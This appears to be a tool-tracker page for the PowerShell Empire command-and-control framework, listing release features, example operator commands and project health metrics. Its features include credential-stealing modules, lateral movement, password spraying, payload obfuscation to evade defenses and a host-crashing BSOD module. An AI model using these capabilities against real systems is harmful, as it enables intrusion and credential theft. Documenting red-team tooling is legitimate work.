Select a Go agent payload instead of PowerShell when laterally moving with PSexec, useful for evading PowerShell-focused defenses.$ In the Empire client, when configuring the PSexec module, set the Language option to 'go' to generate a Go-based Empire payload instead of the default PowerShell one.
v6.3.0 · Dec 2025
· source
+Web Interface and Reporting IntegrationshippedUpgrades the Starkiller web interface to version 3.0.0 and includes advanced reporting plugin capabilities.4 releases · first seen Aug 2023▸
Updates Starkiller to v3.0.0, now served at {api_url}/.
v6.0.0 · Mar 2025
· source
· release history
Starkiller is now accessed at {api_url}/ instead of {api_url}/index.html.
v6.0.0 · Mar 2025
· source
· release history
v5.6.3 Adds Advanced Reporting Plugin and dependencies
v5.6.3 · Aug 2023
· source
· release history
+Python Runtime SupportshippedExecutes payloads and modules using the IronPython runtime with an embedded standard library, allowing PowerShell and C# scripts to run within Python-based agents.4 releases · first seen Sep 2021▸
Also counts toward: PowerShell script execution, Python scripting support, Scripting language support
release
Adds module python/code_execution/invoke-script for remote Python script execution.
v6.0.0 · Mar 2025
· source
· release history
Adds python_multi_socks module compatibility with Python 3 runtime environments
v5.4.2 · Jun 2023
· source
· release history
Adds IronPython support allowing compilation through Empire with an embedded standard library
v4.2.0 · Dec 2021
· source
· release history
Adds Python agents to the external/generate_agent module.
v4.1.3 · Sep 2021
· source
· release history
+Threat Hunting and Defensive SimulationshippedProvides specialized modules for threat hunting, sacrificial process injection, BSOD triggering, and credential dumping.4 releases · first seen Feb 2021▸
Also counts toward: Scripting language support
release
Adds Invoke-BSOD module to trigger a Blue Screen of Death on compromised hosts.
v5.11.2 · Aug 2024
· source
· release history
Adds ticketdumper IronPython module for extracting Kerberos tickets from memory.
v5.11.2 · Aug 2024
· source
· release history
Moriary module added for threat hunting
v5.10.1 · May 2024
· source
· release history
Includes Invoke-WireTap, Invoke-SauronEye, and Invoke-SharpLoginPrompt as new listener modules
v3.7.2 · Feb 2021
· source
· release history
+Agent Callback and Notification ManagementshippedDelivers callback messages and socket notifications for individual agent activities.3 releases · 1 other source · first seen Jan 2020▸
Also counts toward: REST API
release
Adds hook and socket message to receive callback messages for individual agents
v5.10.1 · May 2024
· source
· release history
Adds checkins and checkins/aggregate API endpoints to expose agent checkin data as a list or aggregated view
5.5.0 · Jun 2023
· source
· release history
stale property now returned in the agents endpoint response
v3.0.6 · Jan 2020
· source
· release history
example
Check if an agent is considered stale via the REST API$ curl -k https://<empire-host>:1337/api/agents | jq '.results[].stale'
v3.0.6 · Jan 2020
· source
+API Versioning and DocumentationshippedReplaces legacy REST and WebSocket APIs with a v2 API, including autogenerated documentation and consistent naming conventions.4 releases · first seen Jan 2023▸
Also counts toward: REST API
release
The task API now uses module_id instead of module_slug for consistent naming
5.0.2 · Feb 2023
· source
· release history
+Active Directory Certificate AttacksshippedIncludes modules for managing and attacking Active Directory certificate templates.4 releases · first seen Oct 2020▸
release
Certify C# module added for active directory certificate attacks
v4.6.1 · Jun 2022
· source
· release history
Added Certify C# module for certificate-related attacks
4.6.0 · May 2022
· source
· release history
Adds extended rights management for Active Directory certificate templates
v4.2.0 · Dec 2021
· source
· release history
Adds powermad modules for creating computer accounts and other Active Directory manipulation
v3.5.0 · Oct 2020
· source
· release history
+Agent Environment ManagementshippedEnables persistent modification of the agent's runtime environment, such as changing the working directory across different agent types.2 releases · 1 other source · first seen Aug 2026▸
Also counts toward: REST API
release
Adds POST /api/v2/agents/{id}/tasks/chdir endpoint and TASK_CHDIR (opcode 44) for persistently changing an agent's working directory across PowerShell, Python, and IronPython agents.
v7.0.2 · Sep 2026
· source
· release history
New TASK_CHDIR opcode 44 and POST /api/v2/agents/{id}/tasks/chdir endpoint allow persistently changing the agent's working directory
7.0.0 · Aug 2026
· source
· release history
example
Persistently change the working directory of a specific agent via API.$ curl -X POST http://<server>:1337/api/v2/agents/<id>/tasks/chdir -H 'Authorization: Bearer <token>' -d '{"arguments": "C:\\Temp"}'
7.0.0 · Aug 2026
· source
+Multi-Platform Agent SupportshippedExecutes agents using Go binaries and supports Python 3.13 runtime environments.3 releases · first seen Dec 2024▸
Also counts toward: Agent-based deployment, Python scripting support, Scripting language support
release
Adds Python 3.14 support (3.13 and 3.14); Dockerfile now uses python:3.14.3-trixie
v6.5.0 · Apr 2026
· source
· release history
Adds Go agents with a new multi_go_exe stager type and Go as an option for multi_launcher.
v6.0.0 · Mar 2025
· source
· release history
Supports Python 3.13 as a valid runtime.
v5.12.0 · Dec 2024
· source
· release history
+MySQL Database Backend SupportshippedSwitches the underlying database storage from SQLite to MySQL, including new tables and environment variable configuration.2 releases · 1 other source · first seen Jan 2023▸
release
Adds full MySQL support as the new default database backend
5.0.0 · Jan 2023
· source
· release history
Switch Empire to use MySQL instead of the default SQLite by setting the environment variable during startup.$ DATABASE_USE=mysql docker run ... empire-server
5.0.0 · Jan 2023
· source
+Launcher ObfuscationshippedApplies obfuscation techniques to BAT launchers and C# payload creation to evade detection.3 releases · first seen May 2022▸
release
Obfuscation support added to BAT launchers for HTTP and HTTP COM listeners
v4.6.1 · Jun 2022
· source
· release history
Added global obfuscation option to C# modules
4.6.0 · May 2022
· source
· release history
Added obfuscation support to BAT launcher for HTTP and HTTP COM transports
4.6.0 · May 2022
· source
· release history
+Active Directory Attack ModulesshippedAdds modules for performing specific Active Directory attacks such as password spraying and computer account creation.3 releases · first seen Sep 2020▸
release
Adds new modules: Start-ProcessAsUser, NTLM-Extract, Invoke-SharpSecDump, and Invoke-SpoolSample.
4.0.0 · Jun 2021
· source
· release history
Adds powermad modules for creating computer accounts and other Active Directory manipulation
v3.5.0 · Oct 2020
· source
· release history
Added Invoke-DomainPasswordSpray module for password spraying attacks
v3.4.0 · Sep 2020
· source
· release history
+Credential Harvesting ModulesshippedIncludes specialized modules for extracting credentials from sources like Chromium browsers, GPOs, and Kerberos tickets.2 releases · 1 other source · first seen Apr 2020▸
release
Updates PowerDump to use AES NTLM hashes instead of the legacy RC4 implementation.
4.0.0 · Jun 2021
· source
· release history
Added SharpChromium module for credential harvesting from Chromium-based browsers
v3.2.0 · Apr 2020
· source
· release history
example
Use the new Invoke-WireTap listener module for credential harvesting$ usemodule powershell/credential_stealing/invoke_wiretap
v3.7.2 · Feb 2021
· source
+Plugin Marketplace IntegrationshippedIntroduces a marketplace for discovering, installing, and managing plugins via the web interface and API.1 release · 1 other source · first seen Mar 2025▸
Also counts toward: Extension marketplace, Plugin API support, Plugin system
release
Introduces a Plugin Marketplace via Starkiller 3.0 with support for plugin registries and installing plugins via the API.
v6.0.0 · Mar 2025
· source
· release history
example
Enable automatic marketplace plugin installation so a fresh Empire server is fully tooled up on first run.$ # config.yaml plugin_marketplace: auto_install: true
v6.4.1 · Feb 2026
· source
+Windows Information GatheringshippedProvides modules for collecting system information, enumeration data, and privilege escalation paths from compromised hosts.2 releases · first seen Apr 2020▸
Also counts toward: PowerShell script execution
release
Adds Get-ClipboardHistory PowerShell module to enumerate Windows clipboard history on Windows 10/11 via WinRT APIs
6.4.0 · Jan 2026
· source
· release history
Added BloodHound 3 module for Active Directory attack path visualization
v3.2.0 · Apr 2020
· source
· release history
+Python 3 Runtime SupportshippedUpdates modules and runtime environment to use Python 3 formatting and libraries.2 releases · first seen Apr 2020▸
Also counts toward: Python scripting support, Scripting language support
release
Updates install script and Docker file to use Python 3.12.1
v5.9.1 · Jan 2024
· source
· release history
Converted python modules from Python 2 to Python 3 formatting
v3.2.0 · Apr 2020
· source
· release history
+Listener Stageless and Hopping SupportshippedAdds stageless listener options and staging capabilities for hop listeners to improve payload delivery flexibility.2 releases · first seen Jan 2023▸
+Starkiller Integrated Web InterfaceshippedIntegrates the Starkiller web application into the toolchain for agent and task management.2 releases · first seen Jan 2023▸
Also counts toward: Web management console
release
Updated bundled Starkiller web UI to v2.1.1
v5.1.2 · Mar 2023
· source
· release history
Adds Starkiller as an integrated web app
5.0.0 · Jan 2023
· source
· release history
+Dynamic Language Execution RuntimeshippedEnables dynamic execution of languages such as IronPython, ClearScript, and Boolang within agents.2 releases · first seen Jun 2021▸
Also counts toward: Python scripting support, Scripting language support
release
Added Invoke-IronPython3 and some OffensiveDLR fixes
4.1.1 · Sep 2021
· source
· release history
Integrates the Offensive DLR Modules IronPython, ClearScript, and Boolang for dynamic language execution.
4.0.0 · Jun 2021
· source
· release history
+Agent Sleep and Jitter ConfigurationshippedAllows operators to configure the sleep intervals and jitter for agent callbacks.2 releases · first seen Jul 2021▸
Also counts toward: Command-line interface, REST API
release
Adds sleep command to the Empire CLI for configuring agent sleep intervals
v4.0.1 · Jul 2021
· source
· release history
Adds API endpoints for setting sleep and jitter values on agents
v4.0.1 · Jul 2021
· source
· release history
+Agent Communication ControlshippedProvides API endpoints to update communication schedules, set kill dates, and define working hours for agents.1 release · 1 other source · first seen Nov 2020▸
Also counts toward: REST API
release
Add ability to specify the bind IP for RESTful API
v3.8.2 · Apr 2021
· source
· release history
example
Trigger a kill date or update communications via the Empire REST API.$ curl -X POST https://<empire-host>:1337/api/admin/stager/<stager_id>/killdate?date=2024-12-31 # or for working hours: curl -X POST…
v3.6.1 · Nov 2020
· source
+ATT&CK Technique MappingshippedLinks modules and operations to MITRE ATT&CK techniques and software identifiers for structured reporting.2 releases · first seen Jun 2020▸
Modules now include mitre_technique and mitre_software fields for ATT&CK mapping
v3.2.3 · Jun 2020
· source
· release history
+Language Compatibility EnforcementshippedEnsures modules only run on agents that support the required language to prevent errors.1 release · first seen Mar 2025▸
release
Adds language compatibility check so modules only run on agents that support the required language.
v6.0.0 · Mar 2025
· source
· release history
+BSOD Triggering for Defensive SimulationshippedIncludes modules to trigger Blue Screen of Death scenarios for testing and training purposes.1 release · first seen Jul 2024▸
release
Adds Invoke-BSOD module to trigger blue screen of death scenarios for testing.
5.11.0 · Jul 2024
· source
· release history
+Credential Extraction via Kerberos TicketsshippedProvides modules to extract credentials from Kerberos tickets using tools like ticketdumpert.1 release · first seen Jul 2024▸
Also counts toward: Scripting language support
release
Adds ticketdumper IronPython module for credential extraction via Kerberos tickets.
5.11.0 · Jul 2024
· source
· release history
+Threadless Memory InjectionshippedProvides modules for in-memory code injection without writing to disk, such as ThreadlessInject.1 release · first seen Jul 2024▸
release
Adds ThreadlessInject module for in-memory code injection without writing to disk.
5.11.0 · Jul 2024
· source
· release history
+Agent Checkin Data ExposureshippedExposes agent check-in data via new API endpoints for monitoring and aggregated views.1 release · first seen Jun 2023▸
release
Adds checkins and checkins/aggregate API endpoints to expose agent checkin data as a list or aggregated view
5.5.0 · Jun 2023
· source
· release history
+LinPEAS IntegrationshippedIncludes LinPEAS in the Python modules library for Linux post-exploitation enumeration.1 release · first seen Jun 2023▸
release
Adds LinPEAS to the Python modules library
5.5.0 · Jun 2023
· source
· release history
+Malleable Profile and Module ReloadingshippedAdds API endpoints to reload malleable C2 profiles, modules, bypasses, and plugins without restarting the server.1 release · first seen Jun 2023▸
Also counts toward: REST API
release
Adds reload endpoint for Malleable Profiles, Modules, Bypasses, and Plugins
5.5.0 · Jun 2023
· source
· release history
+Python Obfuscation IntegrationshippedIntegrates the python-obfuscator library to enhance payload obfuscation capabilities for Python modules.1 release · first seen Jun 2023▸
Also counts toward: Scripting language support
release
Adds python-obfuscator integration for Python modules
5.5.0 · Jun 2023
· source
· release history
+SMB Agent IronPython SupportshippedEnables the use of IronPython in SMB-based agents and listeners.1 release · first seen Jun 2023▸
Also counts toward: Scripting language support
release
Adds IronPython support for SMB Agents/Listeners
5.5.0 · Jun 2023
· source
· release history
+API Filtering EndpointsshippedAdds filtering capabilities to API endpoints, such as the 'since' parameter for task retrieval.1 release · first seen Jun 2021▸
release
Adds a since query parameter to the /tasks endpoint for efficient filtering of recent tasking results.
4.0.0 · Jun 2021
· source
· release history
+Covenant Task CompatibilityshippedSupports compiling and executing tasks compatible with the Covenant framework via an integrated Roslyn compiler.1 release · first seen Jun 2021▸
release
Introduces Covenant Task compatibility using the integrated Covenant Roslyn compiler for task compilation.
4.0.0 · Jun 2021
· source
· release history
+MS16-051 Stager SupportshippedProvides support for generating initial implants using the MS16-051 stager.1 release · first seen Jun 2021▸
release
Adds MS16-051 stager support for generating initial implants.
4.0.0 · Jun 2021
· source
· release history
+Nim Agent SupportshippedAdds support for Nim-based launcher agents for initial implant generation and execution.1 release · first seen Jun 2021▸
release
Adds a Nim launcher agent type alongside the existing PowerShell and C# agents.
4.0.0 · Jun 2021
· source
· release history
+Plugin Loading ConfigurationshippedAllows plugins to be loaded at startup via configuration rather than only through the runtime interface.1 release · first seen Sep 2020▸
release
Added support for loading plugins at startup
v3.4.0 · Sep 2020
· source
· release history
+Lateral Movement EnhancementsshippedExpands lateral movement capabilities with custom command options and new protocol support.1 release · first seen Aug 2020▸
release
Updates invoke_smbexec, invoke_dcom, invoke_executemsbuild, and invoke_wmi lateral movement modules to include an option for custom commands.
v3.3.3 · Aug 2020
· source
· release history
Lines in monospace are the tool's own words: help text
parsed from its source, or an endpoint from its API document. Under
release, a line is our summary of a dated release. Under
docs, it is quoted from the tool's own documentation or
website. Each links back to the source it came from.
Command line
View
Source
No command matches.
load a captured run
composed command
No matchesTry a different search, or clear a filter to see more.
option surface across analysed releases
options at that releaseadded, per releaseremoved, per release
option
found in
since
description
No matchesTry a different search, or clear a filter to see more.
option changes per release — drag across the rail to set a range
→
Values are placeholders taken from each option’s declared default.
Nothing is executed here — the output shown is a recording of a run
that already happened.
Screenshots
From the release notes, newest first. Click one to see it full size.
Breaking-change disciplinehow rarely a release breaks users, and notice given
Maintenance riskquiet time against its own cadence, maintainers
Innovation & surfacenew capabilities, API and MCP surface
Community health
Contributor trenddistinct committers, this year against last
Maintainer concentrationbus factor now against a year ago
Issue backlog trendissues closed per issue opened, 12 months
Responsivenessmedian time to a maintainer’s first reply
Nine scores for powershell-empire, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.
Each score is 0–100 on a published rubric, derived from data this site already shows.
A dimension we cannot measure says so — it is never scored 0 and never enters a rank.
How this is scored
Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
Documentation quality — the release-notes rubric published on the analytics page, unchanged.
Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.
Release-note detail over time
See how much detail powershell-empire puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.
Issue, contributor and maintainer activity in BC-SECURITY/Empire, 2023-10 – 2026-09,
as of 2026-09-25. Twelve-month figures first; the trend lines run
the whole window.
Contributors10+2 vs prior 12 months
Maintainers2+0 joined · −0 left, last 12 months
Bus factor2committers behind half the commits
Community-filed100%of issues opened, last 12 months
Median time to close4.1 yearsfirst maintainer reply 19 days
Open backlog37of 435 issues ever filed
Issues opened / month0 · 0communitymaintainers
Open backlog37
Contributors / month2
Commits / month3
Stars5,303
Issue themes, last 12 months
bugs 50%
features 30%
other 20%
Counts from the project's public repository and git history; no individuals
are identified. Maintainers are the committers covering 80% of the last year's
commits. how we measure this
Articles
10 articles
· updated Nov 4, 2026
Where powershell-empire turns up in what others publish: how-tos, attack reports that
name it, and incident write-ups. A row says why it is here and quotes where the
article names it; the link goes to the publisher.
This article will showcase various attacks and tasks that can be performed on a compromised Windows Machine which is a part of a Domain Controller through PowerShell Empire inbuilt Mimikatz Module.
2 more quotes
We know that neither PowerShell Empire nor Mimikatz is being used in the wild currently because of their signature that has been added to almost all of the Anti-Virus Software and across Virus Total.
We covered various forms of Credential Dumping with Mimikatz in our Series but we didn’t present a consolidated guide to use Mimikatz with PowerShell Empire.
Data Exfiltration Now we are going to use Powershell Empire for exfiltration, considering we have already compromised the victim machine, and we are about to complete our mission by copying data from inside the victim…
1 more quote
…post, we had already discussed “ Command and Control with DropboxC2 ” But we are going to demonstrate Data Exfiltration by using PowerShell Empire where we will extract the unauthorized data inside our Dropbox account.
In this article, we will learn OSX Penetration testing using PowerShell Empire.
1 more quote
…Escalation Sniffing Exploiting MAC Here, I’m assuming you know PowerShell Empire’s basics, therefore, we will create the listener first using the following commands: uselistener http set Host //192.168.1.26…
The adversary was leveraging obfuscated PowerShell commands that, upon inspection, appeared to represent instances of an adversary using PowerShell Empire for fileless execution.
2 more quotes
However, the adversary’s tactics seemed to be escalating; our partner had already removed a compiled PowerShell Empire backdoor.
We also discovered that this infrastructure had been recently used to host PowerShell Empire.
Digging a little deeper, however, I found that the pattern of behavior was nearly identical to what happens when you execute this PowerShell Empire script .
Libraries its release ships
What its latest release locks, checked against known advisories.
None of its release's images build from a lockfile we can read.
Add the badge to your README
Maintain this project? The badge links readers straight to this page, so they can
follow every release here.